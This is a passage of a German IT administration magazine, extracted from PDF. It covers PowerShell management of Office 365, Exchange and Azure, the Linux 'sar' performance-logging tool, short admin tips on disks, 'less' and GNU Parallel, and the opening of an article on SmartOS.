Set‐MsolUser U<br />
‐UserPrincipalName U<br />
Benutzername U<br />
‐StrongPasswordRequiredU<br />
$True<br />
Mit »$False« deaktivieren Sie die Funktion<br />
wieder.<br />
Wie erwähnt bleibt ein Benutzer 30<br />
Tage im Papierkorb erhalten, wenn<br />
man ihn löscht, und lässt sich aus dem<br />
Papierkorb auch mit »Restore‐Msol-<br />
User« wiederherstellen. Der folgende<br />
Befehl zeigt gelöschte Postfächer an,<br />
die sich wiederherstellen lassen:<br />
Get‐MsolUser ‐ReturnDeletedUsersU<br />
| fl UserPrincipalName, ObjectID<br />
Wollen Sie jetzt einzelne Benutzer endgültig<br />
löschen, verwenden Sie dessen<br />
»ObjectID«:<br />
Get‐MsolUser ‐Remove‐MsolUser U<br />
‐ObjectID GUID ‐RemoveFromU<br />
RecycleBin ‐Force<br />
Wollen Sie nicht nur einzelne Benutzer<br />
endgültig löschen, sondern alle Benutzer<br />
aus dem Papierkorb entfernen, geht<br />
das über:<br />
Get‐MsolUser ‐ReturnDeletedUsers |U<br />
Remove‐MsolUser ‐RemoveFromRecycleBinU<br />
‐Force<br />
Mit Exchange-<br />
Verwaltungsshell verbinden<br />
In vielen Umgebungen sind Office-365-<br />
Konten und lokale Exchange-Server<br />
parallel im Einsatz. Dann ist es sinnvoll,<br />
in der Powershell neben den Office-<br />
365-Commandlets auch die Befehle aus<br />
der Exchange-Verwaltungsshell nutzbar<br />
zu machen. Dazu speichern Sie die Anmeldedaten<br />
von Office 365 zunächst in<br />
einer Variablen:<br />
$cred = Get‐Credential<br />
Danach bauen Sie eine Verbindung zu<br />
Office 365 und zur Exchange-Verwaltungshell<br />
auf:<br />
$Session = New‐PSSession U<br />
‐ConfigurationName Microsoft.ExchangeU<br />
‐ConnectionUri https://ps.outlook.comU<br />
/powershell ‐Credential $cred U<br />
‐Authentication Basic ‐AllowRedirection<br />
Diese Daten importieren Sie mit »import‐PSSession<br />
$Session«.<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Know-how<br />
Office 365<br />
77<br />
Exchange Online Protection<br />
Microsoft bietet für lokale Exchange-<br />
Installationen und auch für Office 365<br />
den Cloud-Virenscanner Exchange<br />
Online Protection (EOP) an. Das ist der<br />
Nachfolger von Forefront Online Protection<br />
for Exchange (FOPE). In Office<br />
365 ist Exchange Online Protection<br />
automatisch aktiv. Das heißt, ein- und<br />
ausgehende E-Mails werden nach<br />
Viren und Spam gescannt. Setzen Sie<br />
zusätzlich noch lokale Exchange-Server<br />
ein, können Sie die E-Mails der lokalen<br />
Server zu Office 365 senden, dort nach<br />
Viren scannen lassen und dann weiterversenden.<br />
Das funktioniert auch in Exchange<br />
Server 2013 und dem integrierten<br />
Virenscanner in Exchange 2013 – in<br />
beide Richtungen.<br />
Folgender Befehl sorgt dafür, dass<br />
Exchange Server 2013 E-Mails scannt,<br />
nachdem Exchange Online Protection<br />
die E-Mails gescannt hat:<br />
Set‐MalwareFilteringServer U<br />
‐ForceRescan $true<br />
Um den Wert zu überprüfen, geben Sie<br />
den folgenden Befehl ein:<br />
Get‐MalwareFilteringServer |U<br />
Format‐List Name, ForceRescan<br />
Die Umleitung zwischen Exchange<br />
und Office 365 wird vom MX-Eintrag<br />
der Domäne gesteuert. Der Assistent<br />
zur Anbindung von Office 365 an lokale<br />
Exchange-Installationen fügt<br />
der Exchange-Organisation eine zusätzliche,<br />
akzeptierte Domäne für die<br />
Hybridnachrichtenübermittlung hinzu.<br />
Diese Domäne wird als sekundäre<br />
Proxydomäne hinzugefügt. Standardmäßig<br />
ist das die Domäne »Domäne.<br />
mail.onmicrosoft.com«. Sie können die<br />
akzeptierte Domäne mit folgendem Befehl<br />
anzeigen:<br />
Get‐AcceptedDomain | FL DomainName, U<br />
IsCoexistenceDomain<br />
In der Exchange-Verwaltungsshell zeigen<br />
Sie die Einstellungen mit »Get‐HybridConfiguration«<br />
an.<br />
Sie können aber nicht nur die Office-<br />
365-Dienste in der Powershell verwalten,<br />
sondern auch die anderen Cloud-<br />
Dienste von Microsoft, wie zum Beispiel<br />
Windows Azure. Die Installationsdatei<br />
für die Verwaltung von Windows Azure<br />
in der Powershell finden Sie auf der<br />
Seite [8]. Nach der Installation importieren<br />
Sie die Commandlets mit »Import‐Module<br />
Azure«. Bevor Sie Azure<br />
mit der Powershell verwalten können,<br />
müssen Sie den PC anpassen, damit er<br />
sich mit Windows Azure verbindet.<br />
Geben Sie zuerst »Get‐AzurePublishSettingsFile«<br />
ein und melden Sie<br />
sich an Windows Azure an. Laden Sie<br />
die Datei herunter, die der Assistent<br />
dann anzeigt. Geben Sie den Befehl<br />
»Import‐AzurePublishSettingsFile<br />
Publishsettings‐Datei« gefolgt von<br />
»Get‐AzureSubscription« ein.<br />
Mit Windows Azure Backup bietet<br />
Microsoft einen Dienst an, mit dem<br />
Unternehmen Daten von Servern in<br />
der Cloud sichern können. In der Powershell<br />
lassen Sie sich die verfügbaren<br />
Commandlets von Windows Azure<br />
Backup mit »get‐command *ob*«<br />
anzeigen (Abbildung 4). Alternativ verwenden<br />
Sie den Befehl »get‐command<br />
‐module MSOnlineBackup«. Mehr Informationen<br />
zu Azure Backup sind in<br />
einem Artikel im letzten ADMIN-Heft zu<br />
finden [9].<br />
Fazit<br />
Mit der Powershell bietet Microsoft eine<br />
leistungsfähige Shell mit vielen Möglichkeiten<br />
zur Verwaltung lokaler Server<br />
an. Neben den Standard-Betriebssystemen<br />
von Microsoft unterstützen<br />
alle aktuellen Server-Anwendungen<br />
wie Exchange, SQL, SharePoint, Lync<br />
die Verwaltung über die Powershell.<br />
Sind im Unternehmen zusätzlich noch<br />
Cloud-Dienste wie Windows Azure und<br />
Office 365 im Einsatz, bietet es sich an,<br />
auch diese in der Powershell zu verwalten.<br />
Der Vorteil dabei liegt auf der<br />
Hand: Administratoren können lokale<br />
Server und in der gleichen Sitzung auch<br />
Cloud-Dienste verwalten. Außerdem<br />
sind viele Möglichkeiten und Funktionen<br />
in der Power shell wesentlich<br />
schneller und einfacher zu lösen als in<br />
Weboberflächen.<br />
Wer sich etwas mit Skripting auseinandersetzt,<br />
kann darüber hinaus auch<br />
n Info<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31644<br />
[1] Microsoft-Online-Services-Anmelde-Assistent:<br />
[http:// www. microsoft. com/ de‐de/<br />
download/ confirmation. aspx? id=39267]<br />
[2] Azure-AD-Modul (32 Bit): [http:// go. microsoft.<br />
com/ fwlink/ p/ ? linkid=236298]<br />
[3] Azure-AD-Modul (64 Bit): [http:// go. microsoft.<br />
com/ fwlink/ p/ ? linkid=236297]<br />
[4] Office-365-Anmeldung: [https:// portal.<br />
microsoftonline. com/ OLS/ MySoftware. aspx]<br />
[5] Microsoft Online Services Sign-In Assistant for IT<br />
Professionals RTW:<br />
[http:// www. microsoft. com/ en‐gb/<br />
download/ details. aspx? id=28177]<br />
[6] Set-MsolUserLicense: [http:// technet.<br />
microsoft. com/ en‐us/ library/ dn194094. aspx]<br />
[7] Office-365-Lizenzen mit PowerShell ändern:<br />
[http:// blogs. technet. com/ b/ austria/ archive/<br />
2013/ 04/ 28/ office‐365‐lizenzen‐mit‐powersh<br />
ell‐228‐ndern. aspx]<br />
[8] Azure-Downloads:<br />
[https:// www. windowsazure. com/ en‐us/<br />
manage/ downloads]<br />
[9] Thomas Joos, Windows Azure Backup,<br />
ADMIN 01/2014: [http:// www.<br />
admin‐magazin. de/ Das‐Heft/ 2014/ 01/<br />
Windows‐Azure‐Backup‐nutzen]<br />
umfassende Skripte für die Verwaltung<br />
von Diensten schreiben. Diese Skripte<br />
können auch Änderungen parallel in<br />
lokalen und in Cloud-Diensten durchführen.<br />
Da Microsoft die Erweiterungen<br />
für die Powershell gratis zur Verfügung<br />
stellt, sollten sich Administratoren mit<br />
den Möglichkeiten auch auseinandersetzen.<br />
Nach wenig Einarbeitung lassen<br />
sich mit der Powershell viele Dienste –<br />
auch in der Cloud – schnell und einfach<br />
verwalten. (ofr) n<br />
n Autor<br />
Thomas Joos ist freiberuflicher IT-Consultant und<br />
seit über 20 Jahren in der IT tätig. Neben seinen<br />
Projekten schreibt er praxisnahe Fachbücher und<br />
Fachartikel rund um Windows und andere Microsoft-<br />
Themen. Online trifft man ihn unter [http://<br />
thomasjoos. spaces. live. com].<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
78<br />
Basics<br />
Sar<br />
Performance-Werte über längere Zeit sammeln und auswerten<br />
Der Buchhalter<br />
des Systems<br />
Für eine Momentaufnahme der System-Performance bieten sich etliche Tools an: Angefangen bei »top«<br />
oder »uptime« bis zu »iostat«, »netstat« und »mpstat«. Was aber, wenn man von einem Engpass erst erfährt,<br />
nachdem er sich ereignet hat? Für »sar« ist auch das kein Problem. Jens-Christoph Brendel<br />
Sar, mit vollem Namen System Activity<br />
Reporter, ist ein eher unscheinbares<br />
kleines Kommandozeilentool, das<br />
ursprünglich aus der System-V-Welt<br />
stammt, aber für das Troubleshooting<br />
oder Systemtuning unter Unix/Linux<br />
auch heute unverzichtbar ist. Seine<br />
Besonderheit: Sar gibt nicht nur Adhoc-Auskünfte<br />
über viele Performance-<br />
Werte, es sammelt diese Daten auch<br />
unaufhörlich und sortiert sie in tageweise<br />
organisierte binäre Logs ein.<br />
Davon hebt sich Sar standardmäßig<br />
sieben Stück auf, kann sich aber auch<br />
einen Monat merken. Unter manchen<br />
Betriebssystemen wie Ubuntu sind<br />
auch noch länger zurückreichende<br />
Archive möglich. So lassen sich für<br />
jeden Zeitpunkt einer zurückliegenden<br />
Periode auch im Nachhinein die<br />
CPU-Auslastung oder der freie Hauptspeicherplatz,<br />
die Anzahl übertragener<br />
Netzwerkpakete oder die Geschwindigkeit<br />
des Disk-I/Os ermitteln.<br />
Installation<br />
Sar ist in den Repositories aller namhaften<br />
Linux-Distributionen enthalten,<br />
das Paket heißt in der Regel »sysstat«.<br />
Neben dem Binary werden dabei etliche<br />
Skripte und Cron-Einträge installiert.<br />
Im Einzelnen sind das<br />
n »sar«: Das Sar-Kommando dient der<br />
Anzeige der gesammelten Werte.<br />
n »sadc«: Der System Activity Data<br />
Collector ist der eigentliche Datensammler,<br />
der eine vorgegebene<br />
Sergey Nivens, 123RF<br />
Ausgabe 02-2014<br />
Admin<br />
www.admin-magazin.de
Basics<br />
Sar<br />
79<br />
Anzahl Stichproben in bestimmten<br />
Intervallen nimmt.<br />
n »sa1«: Dieses Shellskript ist ein<br />
Wrapper für »sadc«, der ihm verschiedene<br />
Parameter übergeben<br />
kann und die zurückgelieferten Daten<br />
in das richtige binäre Log leitet.<br />
Die Logfiles liegen meist unter<br />
»/var/log/sa« oder »/var/log/sysstat«<br />
(Ubuntu) und heißen immer »sadd«,<br />
wobei dd die Nummer des Tages<br />
im Monat ist. Das Skript wird in<br />
der Regel alle 10 Minuten von Cron<br />
aufgerufen. Natürlich kann man das<br />
Intervall anpassen, wenn man mehr<br />
oder weniger Werte braucht.<br />
n »sa2«: Dieses Shellskript rotiert<br />
das tägliche Log und komprimiert<br />
auf Wunsch ältere Logs. Sa2 startet<br />
Cron-gesteuert einmal täglich.<br />
n »sadf«: Ist ebenfalls ein Ausgabeprogramm,<br />
diesmal speziell für den Datenaustausch.<br />
Sadf kann die gesammelten<br />
Daten in diversen Formaten<br />
aufbereiten: Etwa als Datenbank-<br />
Record oder als CSV- oder XML-Datei.<br />
Nach der Paketinstallation ist »sar« unter<br />
RHEL/CentOS sofort einsatzbereit,<br />
unter Debian/Ubuntu muss man zuerst<br />
noch in »/etc/default/sysstat« die Variable<br />
»ENABLED« auf »true« setzen.<br />
Damals und jetzt<br />
Das Ausgabeprogramm Sar kann man<br />
auf verschiedene Weise aufrufen. Gene-<br />
Abbildung 1: Frei gestaltbare und online zoombare Grafiken sind die Spezialität von KSar.<br />
rell gibt man dazu an erster Stelle einen<br />
oder mehrere Schlüsselbuchstaben<br />
an, die bestimmen, welche Werte ausgegeben<br />
werden sollen (Tabelle 1). Die<br />
Bedeutung der Einzelwerte erläutert<br />
die Manpage zu »sar«.<br />
n Listing 1: »sar« mit Intervall und Anzahl<br />
01 jcb@hercules:# sar ‐q 10 2<br />
Alle diese Werte können sofort abgefragt<br />
werden. Dabei kann man zusätzlich<br />
ein Intervall für die Abfragen und<br />
eine maximale Anzahl von Abfragen<br />
einstellen. Will man etwa zwei Werte für<br />
die CPU-Auslastung im 10-Sekunden-<br />
02 Linux 3.5.0‐44‐generic (hercules) 03.12.2013 _x86_64_ (2 CPU)<br />
03 <br />
04 09:46:03 runq‐sz plist‐sz ldavg‐1 ldavg‐5 ldavg‐15 blocked<br />
05 09:46:13 1 468 0,02 0,06 0,14 0<br />
06 09:46:23 0 468 0,01 0,06 0,14 0<br />
07 Durchschnitt: 0 468 0,01 0,06 0,14 0
80<br />
Basics<br />
Sar<br />
n Listing 2: »sar« mit Log- und Zeit-Vorgabe<br />
01 jcb@hercules:# sar ‐u ‐f /var/log/sysstat/sa02 ‐s 12:00:00 ‐e 13:00:00<br />
02 Linux 3.5.0‐43‐generic (hercules) 02.12.2013 _x86_64_ (2 CPU)<br />
03 <br />
04 12:05:01 CPU %user %nice %system %iowait %steal %idle<br />
05 12:15:01 all 2,08 0,00 0,96 0,02 0,00 96,94<br />
06 12:25:01 all 1,96 0,00 0,82 0,06 0,00 97,16<br />
07 12:35:01 all 1,22 0,00 0,73 0,00 0,00 98,05<br />
08 12:45:01 all 1,32 0,00 0,72 0,01 0,00 97,95<br />
09 12:55:01 all 1,79 0,00 0,75 0,05 0,00 97,41<br />
10 Durchschnitt: all 1,67 0,00 0,80 0,03 0,00 97,5<br />
n Info<br />
Turnus sehen, stellt man es so an wie in<br />
Listing 1. Mit der Option »‐f« kann man<br />
noch ein Tages-Log vorgeben, aus dem<br />
die Werte zu beziehen sind. Nimmt man<br />
dazu noch »‐s« und »‐e« für eine Startund<br />
Endzeit, lassen sich beliebige Perioden<br />
spezifizieren (Listing 2).<br />
Manche Implementierungen (beispielsweise<br />
unter SunOS) kennen außerdem<br />
ein »timex«-Kommando, dass Sar-<br />
Statistiken parallel zur Laufzeit eines<br />
anzugebenden Programms sammeln<br />
kann, etwa<br />
timex ‐s make bigprogram<br />
Unter Linux ist diese Spezialität allerdings<br />
nicht verfügbar.<br />
Auswertungen<br />
Hat man einmal eine solche Fülle von<br />
Performance-Daten zusammen, wie sie<br />
»sar« ja automatisch sammelt, dann<br />
bietet es sich natürlich an, sie unter<br />
verschiedenen Kriterien auszuwerten<br />
und auch zu visualisieren. Im einfachsten<br />
Fall gelingt das mit einer Spreadsheet-Software<br />
aus einem Office-Paket,<br />
alternativ eignet sich auch gnuplot<br />
gut. Darüber hinaus gibt es aber auch<br />
etliche spezialisierte Programme für<br />
diesen Zweck.<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31679<br />
[1] KSar: [http:// sourceforge. net/ projects/ ksar]<br />
[2] SarCheck: [http:// www. sarcheck. com/ de]<br />
Ein solches Programm ist »KSar« [1].<br />
Die Java-Anwendung lässt sich unter<br />
anderem mit einem Sar-Kommando<br />
und Logfile aufrufen<br />
root@hercules:# java ‐jar kSar.jar U<br />
‐input 'cmd:///usr/bin/sar U<br />
‐dwu ‐f /var/log/sysstat/sa02'<br />
und produziert daraus dann automatisch<br />
Grafiken wie Abbildung 1. Die<br />
Graphen lassen sich interaktiv zoomen,<br />
die Farben und Hintergründe sind frei<br />
wählbar. Das Ergebnis ist als PDF-Datei<br />
und in verschiedenen Grafikformaten<br />
exportierbar. Anstelle eines Logfiles<br />
kann man auch ein SSH-Kommando<br />
angeben, dass die Daten von einem<br />
entfernten Rechner besorgt.<br />
Einen Schritt weiter geht das allerdings<br />
kostenpflichtige Tool SarCheck [2].<br />
n Tabelle 1: Sar-Schlüssel<br />
Key<br />
A<br />
b<br />
B<br />
C<br />
d<br />
h<br />
H<br />
I<br />
n<br />
P<br />
q<br />
R<br />
S<br />
u<br />
v<br />
w<br />
y<br />
Obzwar schon seit 1994 am Start, ist<br />
die Linux-Version immer noch in Entwicklung.<br />
Kaufen kann man momentan<br />
nur Versionen für Solaris, HP-UX und<br />
AIX. Die Betatests der Linux-Ausgabe<br />
sollen nach Herstellerangaben aber<br />
vielversprechend verlaufen.<br />
SarCheck zeichnet nicht nur Diagramme,<br />
sondern führt eine komplette<br />
Ressourcen-Analyse durch und erkennt<br />
automatisch CPU- und I/O-Flaschenhälse,<br />
aus dem Ruder gelaufene<br />
Prozesse, falsche I/O-Lastverteilung,<br />
langsame Festplatten, Speicher-Flaschenhälse<br />
und Speicherlecks, falsche<br />
Systempuffergrößen und falsche Systemtabellengrößen.<br />
SarCheck operiert dafür mit Schwellwerten<br />
für alle gemessenen Parameter<br />
und gibt aktiv gezielte Tuning-Empfehlungen.<br />
Fazit<br />
Sar ist ein äußerst nützlicher und<br />
vielseitiger Datensammler, der nicht<br />
nur Momentanwerte anzeigen kann,<br />
sondern über Wochen Statistiken führt<br />
und hernach zu jedem Zeitpunkt aus<br />
der Beobachtungsperiode auskunftsbereit<br />
ist. Zusatzprogramme wie KSar<br />
machen seine Aussagen als Graphen<br />
anschaulich, SarCheck nutzt sie sogar<br />
für eine ausgewachsene Systemdiagnose.<br />
n<br />
Funktion<br />
Gibt alles aus. Äquivalent zu<br />
‐bBdHqrRSuvwWy ‐I SUM ‐I XALL ‐m ALL ‐n ALL ‐u ALL ‐P ALL<br />
I/O-Statistiken und Transferraten<br />
Paging-Statistiken<br />
Kommentare mit ausgeben, die Sadc eingefügt hat.<br />
Aktivitäten aller Block-Devices<br />
Hilfetext ausgeben<br />
Hugepages Utilization Statistics<br />
Statistiken für anzugebenden Interrupt<br />
Zusammen mit einem weiteren Schlüsselwort oder ALL: Netzwerkstatistik<br />
Prozessor-Statistiken<br />
Länge der Run-Queue und Load Average<br />
Memory-Statistik<br />
Swap-Space-Auslastung<br />
CPU-Auslastung<br />
Status einiger Kernel-Tabellen etwa zu Inodes und Files<br />
Task-Creation- und Task-Wechsel-Aktivität<br />
TTY-Aktivitäten<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
82<br />
Basics<br />
ADMIN-Tipps<br />
Die Tipps des Monats<br />
ADMIN-Tipps<br />
Pavel Ignatov, 123RF<br />
Hier finden Sie eine Auswahl der im wöchentlichen ADMIN-Newsletter erscheinenden Praxistipps.<br />
n Lohnen Enterprise-Platten?<br />
Brian Beach vom Online-Backup-Anbieter Blacklaze hat untersucht, ob<br />
sich die angeblich langlebigeren, aber viel teueren Enterprise-Festplatten<br />
tatsächlich lohnen. Sein Blog-Eintrag [1] enthüllt Bemerkenswertes. Die Berechnungsgrundlage<br />
der Betrachtung waren Laufwerksjahre, also die Anzahl<br />
der Drives multipliziert mit ihrem Alter. Eine einzelne Festplatte bringt<br />
es so nach einem Jahr Einsatzzeit auf ein Drive Year.<br />
Der Backup-Anbieter hatte 14719 Laufwerksjahre an Consumer-Festplatten<br />
in seinem Storage verbaut und verzeichnete unter diesen Disks 613 Ausfälle.<br />
Zusätzlich steckten in zentralen Servern und einem Speicher von EMC<br />
386 Laufwerksjahre an Enterprise-Festplatten, von denen 17 ersetzt werden<br />
mussten. Das ergibt eine jährliche Fehlerrate, die mit 4,6 Prozent bei den<br />
Enterprise-Festplatten sogar etwas über der der Consumer-Disks (4,2 Prozent)<br />
lag! Aus dieser Perspektive kommt der Blog zu dem klaren Schluss,<br />
dass sich Enterprise-Platten nicht lohnen, weil sie für den sehr viel höheren<br />
Preis nicht länger halten.<br />
Die Studie hatte allerdings möglicherweise die eine oder andere kleine<br />
methodische Schwachstelle. So ersetzen Storage-Arrays Platten unter<br />
Umständen vorbeugend, wenn sie eine steigende Fehlerrate registrieren,<br />
weil das RAID-Rebuild dann schneller und risikoärmer verläuft als nach einem<br />
Totalausfall. Unter den vermeintlich ausgefallenen Enterprise-Platten<br />
mögen also einige nur geschädigt gewesen sein, wogegen die Consumer-<br />
Platten alle tatsächlich ausgefallen waren. Auch führen Enterprise-Platten<br />
neben der angeblich größeren Lebensdauer noch andere Vorteile ins Feld,<br />
etwa einen vibrationsärmeren Lauf. Der ist aber an sich auch kein Vorteil,<br />
sondern soll mittelbar nur wieder die Ausfallwahrscheinlichkeit senken.<br />
Und auch eine längere Garantiezeit ist nur dann ein Gewinn, wenn man<br />
Leistungen daraus in Anspruch nehmen will.<br />
Angesichts der großen Preisunterschiede scheinen sich Consumer-Platten<br />
aber wohl oft für diejenigen zu lohnen, die durch RAID-Konfigurationen für<br />
die nötige Redundanz sorgen und ausgefallene Laufwerke selbst ersetzen.<br />
n Mehr Nutzen mit less<br />
Less hilft bei der täglichen Administration von Unix- und<br />
Linux-Systemen. Ein paar kleine Tricks erleichtern die<br />
Arbeit damit noch mehr.<br />
Oft nimmt man zwei entfernte Stellen einer größeren<br />
Datei in Augenschein. Beispielsweise sucht man im<br />
Syslog nach der Erstinitialisierung eines Geräts beim<br />
Booten und später nach Fehlermeldungen von diesem<br />
Device. Das erste Auftreten des gesuchten Device-Namens<br />
findet man vielleicht mit der Vorwärtssuche nach<br />
Eingabe eines Slash, gefolgt vom Suchwort, etwa<br />
/sdb<br />
Danach springt die Taste [n] jeweils zur nächsten Fundstelle.<br />
Ist man an der Position, die die Fehlermeldung<br />
enthält, möchte man eine Information vom Anfang erneut<br />
nachschlagen. Man könnte rückwärts suchen<br />
?sdb<br />
und wieder würde [n] von Fundstelle zu Fundstelle<br />
führen, jetzt rückwärts. Aber es geht viel eleganter und<br />
effizienter. Dazu setzt man beim ersten Auftreten einen<br />
Marker mit der Taste [m] gefolgt von einem beliebigen<br />
Buchstaben, der quasi der Name der Markierung ist<br />
ma<br />
Jetzt kann man jederzeit mit Hochkomma und Markername<br />
zu dieser Stelle zurückspringen:<br />
'a<br />
Laurent Dambies, 123RF<br />
Hat man auch die zweite Stelle markiert, wechselt man<br />
mit einer Tastenkombination über beliebige Distanzen<br />
hin und her.<br />
www.admin-magazin.de
Basics<br />
Admin-Tipps<br />
83<br />
n Parallele Linux-Shell<br />
Prozessoren mit mehreren Kernen statt<br />
immer höherer Taktfrequenz beschleunigen<br />
inzwischen selbst Smartphones<br />
und Laptops der unteren Preisklasse.<br />
Betriebssysteme, Benutzeroberflächen<br />
und viele Anwendungen setzen fast<br />
selbstverständlich auf Parallelbetrieb.<br />
Nur die Linux-Shell läuft nach wie vor<br />
im alten, sequenziellen Betrieb: Ein Befehl<br />
folgt brav dem anderen.<br />
Das Gnu-Werkzeug Parallel [2] schafft<br />
jedoch Abhilfe. Ohne dass der Anwender<br />
sich um die Verwaltung von<br />
Ressourcen oder um die Aufteilung von<br />
Eingabedaten kümmern muss, nutzt<br />
das Werkzeug die über die Prozessorkerne<br />
verteilte Rechnerleistung aus.<br />
Das Perl-Skript Parallel findet sich bei<br />
den meisten Distributionen in einem<br />
eigenen, gleichnamigen Paket. Beim<br />
Aufruf liest es die auszuführenden<br />
Kommandos von STDIN; alternativ teilt<br />
es eine zu verarbeitende Datei auf und<br />
wendet einen Befehl auf die einzelnen<br />
Bestandteile an.<br />
Beispielsweise komprimiert der folgende<br />
Befehl mehrere Dateien in einem<br />
Verzeichnis gleichzeitig:<br />
$ ls | parallel gzip {}<br />
Die Ausgabe von ls lässt sich hierbei beliebig<br />
einschränken oder durch ein anderes<br />
Werkzeug wie find ersetzen. Ein<br />
Paar geschweifter Klammern »{}« steht<br />
als Platzhalter für eine Eingabezeile zur<br />
Verfügung, sodass sie sich als Argument<br />
für einen Befehl verwenden lässt. Eine<br />
alternative Schreibweise nimmt Eingabeargumente<br />
direkt entgegen:<br />
$ parallel gzip ::: datei1 datei2 datei3<br />
Das Kommandozeilenargument »‐j«<br />
definiert die Anzahl der nebenläufig<br />
auszuführenden<br />
Jobs. Standardmäßig<br />
startet Parallel<br />
so viele Prozesse<br />
gleichzeitig, wie<br />
Prozessoren beziehungsweise<br />
Kerne<br />
zur Verfügung stehen.<br />
Die Angabe lässt sich<br />
auch in Prozent und<br />
relativ zur Anzahl der<br />
Prozessoren definieren, beispielsweise<br />
führt die Angabe von »‐j 150%« dazu,<br />
dass jede CPU mit 1,5 Jobs versorgt<br />
wird. Diese Zahl gilt als gute Faustregel,<br />
um eine dauerhafte Vollauslastung zu<br />
erzielen, da die leichte Überbelegung<br />
dem Prozessorleerlauf während längerer<br />
Festplattenzugriffe entgegenwirkt.<br />
Falls bei der Ausgabe der parallelen<br />
Jobs die Reihenfolge wichtig ist, sorgt<br />
das Argument »‐k« dafür, dass diese der<br />
Eingabereihenfolge entspricht, egal wie<br />
schnell die Teilprozesse die Verarbeitung<br />
abschließen. Ohne diese Angabe<br />
lässt sich nicht vorhersagen, in welcher<br />
Reihenfolge die Einzelergebnisse eintreffen,<br />
da viele, praktisch unberechenbare<br />
Faktoren einzelne Prozesse verzögern<br />
oder beschleunigen können.<br />
Soll ein Befehl eine oder mehrere Dateien<br />
abarbeiten, hilft das Argument<br />
»‐‐pipe«. Der folgende Befehl zerlegt<br />
beispielsweise eine Datei zeilenweise<br />
und füttert sie an mehrere nebeneinander<br />
laufende grep-Prozesse:<br />
$ parallel ‐j 150% ‐k ‐‐pipe grep<br />
"ERROR" programm.log<br />
Im Fall von grep bietet sich die zeilenweise<br />
Verarbeitung zwar an, aber<br />
andere Befehle bevorzugen möglicherweise<br />
andere Eingabeblöcke. In diesem<br />
Fall definieren die Argumente »‐‐recstart«<br />
und »‐‐recend« die Zeichen, die<br />
anstelle von Zeilenumbrüchen als Markierungen<br />
für Beginn beziehungsweise<br />
Ende einer Einheit dienen.<br />
Bei der Parallelisierungswut darf ein<br />
Hinweis jedoch nicht fehlen: In vielen<br />
Fällen, in denen Bash-Prozesse viel<br />
Zeit benötigen, liegt das gar nicht am<br />
Prozessor. Der Flaschenhals ist häufig<br />
die Festplatte mit ihren vergleichsweise<br />
langen Lese- und Schreibzugriffszeiten.<br />
In diesem Fall hilft es leider nichts, die<br />
eingehenden Daten auf mehrere Prozessoren<br />
zu verteilen.<br />
n Info<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31655<br />
[1] Enterprise Drives: Fact or Fiction? (Englisch)<br />
[http:// blog. backblaze. com/ 2013/ 12/ 04/<br />
enterprise‐drive‐reliability/]<br />
[2] Gnu Parallel: [http:// www. gnu. org/ software/<br />
parallel/]<br />
neue Tipps im Newsletter<br />
Jede Woche erscheint in unserem Newsletter ein neuer ADMIN-Tipp. Eine Sammlung aller Tipps<br />
finden Sie im Archiv der ADMIN-Tipps unter [http:// www. admin‐magazin. de/ News/ Tipps/].<br />
Den Newsletter können Sie unter [http:// www. admin‐magazin. de/ newsletter] abonnieren.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
SmartOS als Virtualisierungsplattform<br />
Clever<br />
und smart<br />
Paulus NR, 123RF<br />
SmartOS bringt das Beste von Linux und Solaris zusammen, um eine Virtualisierungsplattform mit ZFS<br />
und KVM zu realisieren. Oliver Frommel<br />
Viele Administratoren und Unix-<br />
Freunde bedauern es, dass mit dem<br />
Verkauf von Sun an Oracle auch der<br />
Geist begraben wurde, der einmal<br />
in der Welt von Solaris und Sparc<br />
herrschte. Ein bisschen davon lebt in<br />
der Firma Joyent weiter, wenn man<br />
dem ehemaligen Sun-Chef Scott Mc-<br />
Nealy glauben darf, der auf Twitter mitteilte<br />
„Great to see Sun spirit lives on.“<br />
Ein Grund dafür ist, dass einige ehemalige<br />
Sun-Programmierer nun bei Joyent<br />
arbeiten und dort ein Betriebssystem<br />
entwickeln, das auf Solaris basiert:<br />
SmartOS [1] ist die Grundlage für das<br />
Cloud-Angebot, mit dem Joyent in<br />
Konkurrenz zu Amazon treten möchte,<br />
auch wenn die Firma davon noch ein<br />
gutes Stück entfernt ist.<br />
Der Geist von Sun<br />
Die Firma Sun hat bekanntlich im Jahr<br />
2005, wohl unter dem Eindruck der<br />
immer stärker werdenden Konkurrenz<br />
durch Linux, den Quellcode von So-<br />
laris unter dem Namen OpenSolaris<br />
veröffentlicht. Die Freude darüber<br />
währte aber nur einige Jahre, denn<br />
Oracle machte den Schritt bald nach<br />
der Übernahme wieder rückgängig. In<br />
der Zwischenzeit hat sich aber recht<br />
schnell eine kleine Community um<br />
OpenSolaris entwickelt, darunter auch<br />
einige Firmen wie Nexenta, die das nun<br />
freie System als Basis ihrer Produkte<br />
verwendeten.<br />
Nach der Ankündigung durch Oracle,<br />
Solaris künftig wieder hinter verschlossenen<br />
Türen weiterzuentwickeln, gründete<br />
Nexenta zusammen mit anderen<br />
das Illumos-Projekt, das auf einem<br />
Fork des damals freien Solaris-Kernel<br />
beruht. Der Illumos-Kernel wurde zur<br />
Basis für diverse freie Solaris-Ableger,<br />
etwa OpenIndiana, Illumian, EON, OmniOS<br />
und eben SmartOS.<br />
Das Besondere an SmartOS ist, dass<br />
Joyent selbst viel Aufwand in die Entwicklung<br />
gesteckt hat, um das System<br />
als möglichst flexible Basis für die eigene<br />
Cloud verwenden zu können. Um<br />
diese Flexibilität zu gewährleisten, hat<br />
Joyent in Person von Max Bruning den<br />
Linux-Hypervisor KVM auf den Solaris-<br />
Kernel portiert. Dieses Projekt nahm<br />
etwa ein halbes Jahr in Anspruch, dann<br />
lief KVM auf SmartOS und konnte somit<br />
alle Gastsysteme betreiben, die auch<br />
mit KVM funktionieren.<br />
KVM für Solaris<br />
Vor dem KVM-Port gab es in SmartOS<br />
schon die von Solaris stammenden Zones,<br />
die Betriebssystem-Virtualisierung<br />
mit Containern und wenig Ballast bieten.<br />
Allerdings ist man hierbei normalweise<br />
